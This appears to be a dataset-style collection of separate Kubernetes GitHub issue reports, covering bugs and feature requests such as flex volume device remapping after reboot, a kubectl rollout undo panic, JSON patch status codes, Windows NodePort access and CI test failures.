<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1. kubernetes store node's volume and devicepath in etcd.\r \r such as:\r \r | volumeid| pv  | devicepath|\r |----------|----|-----------|\r |vol-1  | pvc-1 |/dev/vdc|\r |vol-2 | pvc-2 |/dev/vde|\r \r 2. when cluster or node reboot  such as machine power off ，in some cases，devicepath will change. \r \r such as:\r \r | volumeid| pv  | devicepath|\r |----------|----|-----------|\r |vol-1  | pvc-1 |/dev/vde|\r |vol-2 | pvc-2 |/dev/vdc|\r \r but kubelet still use old device to volume mapping in etcd.\r controller-manager call flex volume isattached command with arg vol-1, flex volume plugin return true.\r kubelet call flex volume waitforattach command with /dev/vdc and vol-1, flex volume also return true because vol-1 is attached and device path /dev/vdc does exist . \r so, kubelet call flex volume mountdevice command to mount pvc-1 dir to /dev/vdc,  but /dev/vdc is actually vol-2. \r this bug will result in pv is not available or data corruption.\r \r   what you expected to happen  :\r \r provide a mechanism to update the mapping between volume and device after reboot.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r reboot node or cluster, in some condition.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.9\r - cloud provider or hardware configuration: qingcloud\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  :  4.4.0-97-generic\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r tried to use podantiaffinity with my statefulsets implementation but failed.  my k8 cluster allows pods to deploy on the same k8 host/node.\r \r   what you expected to happen  :\r k8 cluster should not allow that to happen.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to deploy a statefulsets with \ podantiaffinity\  specification.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : gcp alpha k8 cluster\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r   what happened  :\r some api documentation contains broken html. some type comments in the go source use syntax that is being interpreted as html, such as  <topologykey>  in  podaffinityterm  https://github.com/kubernetes/api/blob/1afd21c1b728221c821dfe71c17ce5ee8061e31b/core/v1/types.go l2608 \r \r examples:\r \r - https://kubernetes.io/docs/api-reference/v1.8/ podaffinityterm-v1-core\r - nodespec.providerid, in \r   https://kubernetes.io/docs/api-reference/v1.8/ nodespec-v1-core\r \r   what you expected to happen  :\r generated html should match the code comments, as it does on godoc.org. i.e. https://godoc.org/k8s.io/api/core/v1 podaffinityterm\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r the cloud providers create resources such as load balancers, block storage, etc. administrators would like to know which cloud resources were created by the kubernetes cloud provider. there should be the ability to query for a list of those resources, or potentially even delete them.\r \r a typical use case for this information is when tearing down the cluster, you first need to delete any kubernetes-create resource. due to cloud provider dependencies it may not be possible to tear down the cloud resources until the resources created by kubernetes are remove. for example, in aws if you use a cloudformation stack to create subnets and an asg with worker nodes, you will not be able to tear down the cloudformation stack unless any kubernetes-created load balancers and ebs volumes are removed first. aws will report dependency errors when trying to remove some items because the cloudformation stack does not include the items created by kubernetes.\r \r automation used to tear down the cluster will need to remove any resources created by kubernetes before removing the items create by the automation.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : n/a\r - cloud provider or hardware configuration: aws, for one\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r \r  /wg cloud provider

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : clean-up\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r unit tests of generic_scheduler.go includes  a hack  https://github.com/kubernetes/kubernetes/blob/b1e9e747fb777a49ecd204c5e97a5d00d9fcfea1/pkg/scheduler/core/generic_scheduler_test.go l675  that should be removed. we should add a parameter to the test cases that indicates the expected score and then check if the returned value of the functions matches this expected value.\r \r below is the hack that we should clean up.\r \r    go\r if test.test == \ test  larger pod with machine with zero-request pod\  {\r \tif hp.score == expected \t\tt.errorf \ %s: expected non-%d for all priorities, got list % v\ , test.test, expectedpriority, list \r \t}\r }\r    \r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r running k8s on virtualbox. installation was done using kubeadm.\r \r 1  created a deployment\r k run nginx --image=nginx -r=2 --restart=always\r \r 2  ran  kubecl rollout undo  and there was a panic.\r \r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x132f4ba \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/cmd/rollout.  undooptions .runundo 0xc4200e6240, 0xc420833c40, 0x0 \r         /workspace/anago-v1.12.0-beta.2.73+3e4aee86dfaf93/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/rollout/rollout_undo.go:137 +0x2a\r k8s.io/kubernetes/pkg/kubectl/cmd/rollout.newcmdrolloutundo.func1 0xc420863400, 0x24f04f8, 0x0, 0x0 \r         /workspace/anago-v1.12.0-beta.2.73+3e4aee86dfaf93/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/rollout/rollout_undo.go:92 +0xb6\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420863400, 0x24f04f8, 0x0, 0x0, 0xc420863400, 0x24f04f8 \r         /workspace/anago-v1.12.0-beta.2.73+3e4aee86dfaf93/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4203cc780, 0xc420038bd0, 0x12a05f200, 0xc420833ee8 \r         /workspace/anago-v1.12.0-beta.2.73+3e4aee86dfaf93/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4203cc780, 0x186ad10, 0x24d1ae0 \r         /workspace/anago-v1.12.0-beta.2.73+3e4aee86dfaf93/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r         /workspace/anago-v1.12.0-beta.2.73+3e4aee86dfaf93/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r    \r   how to reproduce it  as minimally and precisely as possible   :\r create a deployment and do a  kubectl rollout undo  to get the panic.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-rc.1\ , gitcommit:\ 3e4aee86dfaf933f03e052859c0a1f52704d4fef\ , gittreestate:\ clean\ , builddate:\ 2018-09-18t21:08:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r \r - kernel  e.g.  uname -a  :\r linux praveen-ubuntu 4.15.0-34-generic  37-ubuntu smp mon aug 27 15:21:48 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

is it reasonable to return  410 gone  http errors for recently deleted resources? given the amount of pod churn in the cluster with replication controllers etc could be quite high, it would be nice to know  at least for a reasonable amount of time afterwards  that a resource did once exist but is now gone.

after running  build/release.sh , the  _output/  directory is partially owned by root:      $ git clean -dffx removing godeps/_workspace/pkg/ warning: failed to remove _output/dockerized/bin/linux/amd64/mungedocs warning: failed to remove _output/dockerized/bin/linux/amd64/genswaggertypedocs  ...  warning: failed to remove _output/dockerized/bin/windows/amd64/ginkgo.exe warning: failed to remove _output/dockerized/bin/test_for_remote removing _output/images removing _output/release-stage removing _output/release-tars removing _output/local      none of the scripts in  build/  seem to use  sudo  for any involved commands, so i'm not sure what could be causing this. perhaps the resulting binaries obtained from the build in the go 1.4 container are just copied over, and the container runs the build as root?  for what it's worth, the regular user i'm logged in as can build/remove docker images without superuser permissions.

right now we have hardcoded transport configuration in client.config without providing a wrapper.  the code mechanism to get the transport for a given client is deeply nested static wrapping  so that we can reuse a tls cache , but that's inflexible.\r \r it needs be possible to alter timeouts and idle connection pools at the time you instantiate a client.  we need to invert the dependency chain and rethink restclient.config.\r \r the caching and reuse should be an optimization in the presence of defaults, not something i have to hack the code in order to vary.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ flexvolume\ , \ flex volume\ \r \r ---\r kubernetes version: 1.7\r component/area: storage\r affected modules: flex volume\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-beta.0-dirty\ , gitcommit:\ e3db58e39a3ff1012efdf646c727278b82299c5e\ , gittreestate:\ dirty\ , builddate:\ 2017-06-02t20:10:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-beta.0-dirty\ , gitcommit:\ e3db58e39a3ff1012efdf646c727278b82299c5e\ , gittreestate:\ dirty\ , builddate:\ 2017-06-02t20:08:05z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  : when kubelet has --enable-controller-attach-detach=false, it's unable to mount the example nfs flexvolume plugin. would expect this to happen for all flexvolume plugins with no \ attach\  implemented.\r \r \r   what you expected to happen  : mount occurs successfully.\r \r \r   how to reproduce it    as minimally and precisely as possible : load the flexvolume nfs plugin as normal, start kubelet with --enable-controller-attach-detach=false, and start a pod that attempts to mount the nfs volume through flexvolume.\r \r \r   anything else we need to know  :\r kubelet.log is filled with the following:\r    \r w0602 20:35:32.520097    8160 attacher-defaults.go:36  flexvolume driver nfs: using default attach for volume 0x214e310, host kubernetes-minion-group-1wsv\r i0602 20:35:32.620336    8160 reconciler.go:232  operationexecutor.attachvolume started for volume \ test\   uniquename: \ nfs/10.244.2.6~exports\   pod \ nginx-nfs\   uid: \ c8cb9763-47d1-11e7-816d-42010a800002\   \r    \r

failure cluster  6962e13cead522b5408d  https://go.k8s.io/triage 6962e13cead522b5408d        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:audit\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    10 jobs failed,    59 builds failed. failure stats cover 1 day time range '29 sep 2017 20:57 utc' to '30 sep 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 10 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-es-logging | 26 |  30 sep 2017 20:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/15599  | | ci-kubernetes-e2e-gce-ha-master | 18 |  30 sep 2017 19:14 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ha-master/10333  | | ci-kubernetes-e2e-gce-reboot | 7 |  30 sep 2017 19:23 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-reboot/13927  |   current status  https://go.k8s.io/triage 6962e13cead522b5408d

i plan to deploy hadoop on kubernetes，when i deploy successfully，i need create service for ambari agent，so i can accees hdfs port from my external host。so i create endpoint and service like this:\r kind: endpoints\r apiversion: v1\r metadata:\r   name: hdfs\r   namespace: bigdata\r subsets:\r   - addresses:\r       - ip: 10.233.72.11\r       - ip: 10.233.104.75\r     ports:\r       - port: 50070\r         protocol: tcp\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: hdfs\r   namespace: bigdata\r spec:\r   type: nodeport\r   ports:\r   - protocol: tcp\r     port: 50070\r     targetport: 50070\r     nodeport: 31176\r \r i need to get ip of ambari agent pod from kubernetes，can i create endpoint with pod hostname？\r \r

there was a pod consisting of two containers: one would be terminated while the other would be running.\r currently, i intend to stop running container by some trigger mechanism from one to be terminated, namely before its termination.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r bug\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r i have a kubernetes cluster created with acs-engine in azure and i am getting down my nodes with \ notready\  state so the pods are terminating. i notice that this happened when the i/o disk is too high  i only see read operations 100%  so i cannot even ssh into the vms.\r \r   what you expected to happen  :\r \r i need to understand how to fix this. if it this increasing iops or running the nodes under some raid solution.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i have created a 3 masters/3 nodes cluster using acs-engine tool for ms azure.\r \r   anything else we need to know?  :\r \r \r   environment  : \r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r -kuberntes: 1.6.13\r -cloud provider: ms azure\r -os: ubuntu\r -kernel: linux k8s-agentpool1-15972647-1 4.13.0-1016-azure  19-ubuntu smp thu may 3 17:29:51 utc 2018 x86_64 x86_64 gnu/linux\r install tool: acs-engine https://github.com/azure/acs-engine

is this a bug report or feature request?  :\r \r  \r   what happened  :\r currently our job controller is using  numrequeues  on a queue to figure out how many times an object has been requeued which means how many retries were processed against that object. this is ok in the simple use case, but not in job controller where requeues happen because of a failed status update or a few other cases that should not bum the backoff counter. \r \r we need to figure out a better way to handle the backoff. \r \r

failing jobs\r  sig-release-master-blocking gke-device-plugin-gpu  https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu \r  sig-release-master-blocking gke-device-plugin-gpu-p100  https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu-p100 \r \r   failing tests\r   feature:gpudeviceplugin  run nvidia gpu device plugin tests  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu/3656 \r   feature:gpudeviceplugin  run nvidia gpu device plugin tests  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-device-plugin-gpu-p100/529 \r \r   triage results\r  ci-kubernetes-e2e-gke-device-plugin-gpu  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-device-plugin-gpu \r  ci-kubernetes-e2e-gke-device-plugin-gpu-p100  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-device-plugin-gpu-p100 \r \r /cc @tpepper @aishsundar \r  / 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r making a patch request to a resource  e.g. deployment  with an rfc6902 json patch that contains a  test  operation that is false results in a 500 internal server error with response body\r    json\r {\r     \ kind\ : \ status\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {},\r     \ status\ : \ failure\ ,\r     \ message\ : \ testing value /resourceversion failed\ ,\r     \ code\ : 500\r }\r    \r \r   what you expected to happen  :\r the server should not apply the patch and return a 4xx status code so the client can react  e.g. update local state, retry . a  test  is commonly used as safe guard to ensure the resource is in the state it is expected to be when applying the patch  imagine updating an array index - if the resource changed in the meantime and the indexes were shifted the patch could have catastrophic consequences . clients need to be able to react to this.\r \r the most appropriate status code for this seems 409 conflict, see  https://tools.ietf.org/html/rfc5789 section-2.2\r \r >    conflicting state:  can be specified with a 409  conflict  status\r >       code when the request cannot be applied given the state of the\r >       resource.  for example, if the client attempted to apply a\r >       structural modification and the structures assumed to exist did\r >       not exist  with xml, a patch might specify changing element 'foo'\r >       to element 'bar' but element 'foo' might not exist .\r \r   how to reproduce it  as minimally and precisely as possible   :\r make a patch request to a deployment with the content\r    json\r  {\ op\ : \ test\ , \ path\ : \ /metadata/resourceversion\ , \ value\ : \ nottheresourceversion\ } \r    \r and content-type  application/json-patch+json .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration: docker for desktop\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r \r related: https://github.com/kubernetes/kubernetes/issues/54423\r

the branch   release-1.15   branch  was just created.  please update the  publishing-bot's configuration  config  to also publish this new branch.   branch : https://github.com/kubernetes/kubernetes/tree/release-1.15  config : https://github.com/kubernetes/kubernetes/tree/master/staging/publishing  <!-- no assignments --> /cc @kubernetes/publishing-bot-reviewers  /area release-eng /milestone v1.15

what happened  :\r i created a service where the  nodeport  was the same as the  port , and having done so, then the  nodeport  was  not  accessible externally on the windows node where the pod was running  it was, however, accessible on the linux master .  when i changed either the  port  or the  nodeport  so that they were different then the service was accessible on the windows node.\r \r   what you expected to happen  :\r i expect  nodeport  services to work when the  nodeport  and the  port  are the same value.\r \r   how to reproduce it  as minimally and precisely as possible   :\r here's the  .yaml  file that i used:\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   namespace: default\r   name: hello\r spec:\r   selector:\r     matchlabels:\r       app.kubernetes.io/component: hello\r   template:\r     metadata:\r       labels:\r         app.kubernetes.io/component: hello\r     spec:\r       nodeselector:\r         kubernetes.io/os: windows\r       containers:\r         - name: hello-container\r           image: mcr.microsoft.com/windows:10.0.17763.437\r           command:\r             - powershell.exe\r             - -command\r             - \ < code used from https://gist.github.com/wagnerandrade/5424431 > ; $$listener = new-object system.net.httplistener ; $$listener.prefixes.add 'http:// :80/'  ; $$listener.start   ; $$callercounts = @{} ; write-host 'listening at http:// :80/'  ; while  $$listener.islistening  { ;$$context = $$listener.getcontext   ;$$requesturl = $$context.request.url ;$$clientip = $$context.request.remoteendpoint.address ;$$response = $$context.response ;write-host '' ;write-host '> {0}' -f $$requesturl  ;  ;$$count = 1 ;$$k=$$callercounts.get_item $$clientip  ;if  $$k -ne $$null  { $$count += $$k } ;$$callercounts.set_item $$clientip, $$count  ;$$ip= get-netadapter | get-netipaddress ; $$header='<html><body><h1>windows container web server</h1>' ;$$callercountsstring='' ;$$callercounts.keys | % { $$callercountsstring+='<p>ip {0} callercount {1} ' -f $$ip 1 .ipaddress,$$callercounts.item $$_  } ;$$footer='</body></html>' ;$$content='{0}{1}{2}' -f $$header,$$callercountsstring,$$footer ;write-output $$content ;$$buffer =  system.text.encoding ::utf8.getbytes $$content  ;$$response.contentlength64 = $$buffer.length ;$$response.outputstream.write $$buffer, 0, $$buffer.length  ;$$response.close   ;$$responsestatus = $$response.statuscode ;write-host '< {0}' -f $$responsestatus   } ; \ \r ---\r apiversion: v1\r kind: service\r metadata:\r   namespace: default\r   name: hello-service\r spec:\r   selector:\r     app.kubernetes.io/component: hello\r   type: nodeport\r   ports:\r     - nodeport: 31234\r       port: 31234\r       targetport: 80\r    \r then, in a web browser on my desktop machine, i visited the  nodeport  on both the linux master's ip address, and then in a different tab, using the  nodeport  again, the ip address of the windows worker node where that pod was scheduled.  it only worked using the ip address of the linux master.  the tab using the windows worker node's ip address did not load.\r \r then, i changed either the  port  or the  nodeport  so that they were different values, and when they were different, it worked using the  nodeport  of both the linux master's ip address and the ip address of the windows worker node where that pod was scheduled.\r \r   anything else we need to know?  :\r - on-premise install of k8s\r - the windows nodes all have the following feature gates enabled:\r   - winoverlay\r   - windowsgmsa\r \r   linux master  :\r - os  e.g.  cat /etc/os-release  :  ubuntu 18.10  cosmic cuttlefish  \r    \r  kernel version:             4.18.0-18-generic    19-ubuntu   tue apr 2 18:13:16 utc 2019\r  os image:                   ubuntu 18.10\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://18.9.5\r  kubelet version:            v1.14.1\r  kube-proxy version:         v1.14.1\r    \r \r   windows worker  :\r    \r  kernel version:             10.0.17763.437\r  os image:                   windows server 2019 standard\r  operating system:           windows\r  architecture:               amd64\r  container runtime version:  docker://18.9.5\r  kubelet version:            v1.14.1\r  kube-proxy version:         v1.14.1\r    \r    \r networkmode: overlay\r    \r    \r .\\flanneld.exe -version\r v0.11.0\r    \r \r if you need any more information then please let me know.

today we say  salt  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/salt.md  can be used but its not clear if only salt is supported or if kubernetes can be configured with other software?  are there any factors to consider  that users should be aware of  when choosing the config. software other than salt?

make clean used to work on mac when docker is not available, now it exits early without deleting _output.  it should clean up content, and if docker isn't available, shouldn't try to clean docker images.

statefulset requires additional e2e testing\r \r 1. rollback to a specific version\r 2. kill pods during update and rollback and ensure they are created at the correct revision\r 3. the above, but in the partitioned case\r \r \r

is this a bug report or feature request?:  \r  /area kubectl\r \r   what happened  :\r i created a deployment using the kubectl run command, and then updated the image with the kubectl set command, thinking i was matching the documentation at https://kubernetes.io/docs/concepts/workloads/controllers/deployment/ strategy\r i expected that the set command would be reflected in the  kubectl rollout history  command, but instead the change-cause annotation was empty.\r \r   what you expected to happen  :\r i _think_ the correct thing would be for the kubectl run command to create an initial change-cause annotation when it is creating the deployment in the first place. i verified that if the annotation exists, the kubectl set command would indeed update it, but if the annotation doesn't exist, the set command won't update it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r -  kubectl run flask --image=quay.io/kubernetes-for-developers/flask:0.1.0 \r -  kubectl set image deployment/flask flask=quay.io/kubernetes-for-developers/flask:0.1.1 \r -  kubectl rollout history deploy flask \r    \r deployments \ flask\ \r revision  change-cause\r 1         <none>\r 2         <none>\r    \r \r   anything else we need to know?  :\r \r if an annotation is added manually after the run command creates the deployment, the kubectl set command will update the annotation:\r \r -  kubectl delete deployment flask \r -  kubectl run flask --image=quay.io/kubernetes-for-developers/flask:latest \r -  kubectl annotate deployment/flask kubernetes.io/change-cause='initial deployment' \r -  kubectl set image deployment/flask flask=quay.io/kubernetes-for-developers/flask:0.1.1 \r \r then:\r -  kubectl rollout history deployment/flask \r    \r deployments \ flask\ \r revision  change-cause\r 1         initial deployment\r 2         kubectl set image deployment/flask flask=quay.io/kubernetes-for-developers/flask:0.1.1\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    json\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-12t00:45:05z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-10-06t20:53:14z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r - cloud provider or hardware configuration  : minikube v0.22.3\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

getting a single resource without specifying namespace in the url returns 404 which is misleading.  for example,  http://localhost:8080/api/v1beta3/services works, but if the user tries http://localhost:8080/api/v1beta3/services/kubernetes-ro  instead of http://localhost:8080/api/v1beta3/namespaces/default/services/kubernetes-ro  it returns 404 which is confusing. it's better to return \ namespace should be specified\  etc.

 \r   what happened  :\r > % kubectl get pods\r > e0322 10:22:01.816738   26395 request.go:784  unexpected error when reading response body: &net.operror{op:\ read\ , net:\ tcp\ , source:  net.tcpaddr  0xc420976000 , addr:  net.tcpaddr  0xc420976030 , err:  os.syscallerror  0xc4206c6b20 }\r > unexpected error &net.operror{op:\ read\ , net:\ tcp\ , source:  net.tcpaddr  0xc420976000 , addr:  net.tcpaddr  0xc420976030 , err:  os.syscallerror  0xc4206c6b20 } when reading response body. please retry.\r \r   what you expected to happen  :\r \r kubectl to display a list of pods. immediately re-running the command succeeds.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r wait a few minutes since accessing cluster. run simple kubectl command.\r \r it seems similar to the bug report in  54859\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r > % kubectl version\r > client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.8-gke.0\ , gitcommit:\ 6e5b33a290a99c067003632e0fd6be0ead48b233\ , gittreestate:\ clean\ , builddate:\ 2018-02-16t18:26:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : 16.04.3 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux $hostname 4.13.0-37-generic  42~16.04.1-ubuntu smp wed mar 7 16:03:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: apt-get from packages.cloud.google.com\r - others: was happening on 1.9.4 as well, but just updated to 1.9.6 and could repro.\r

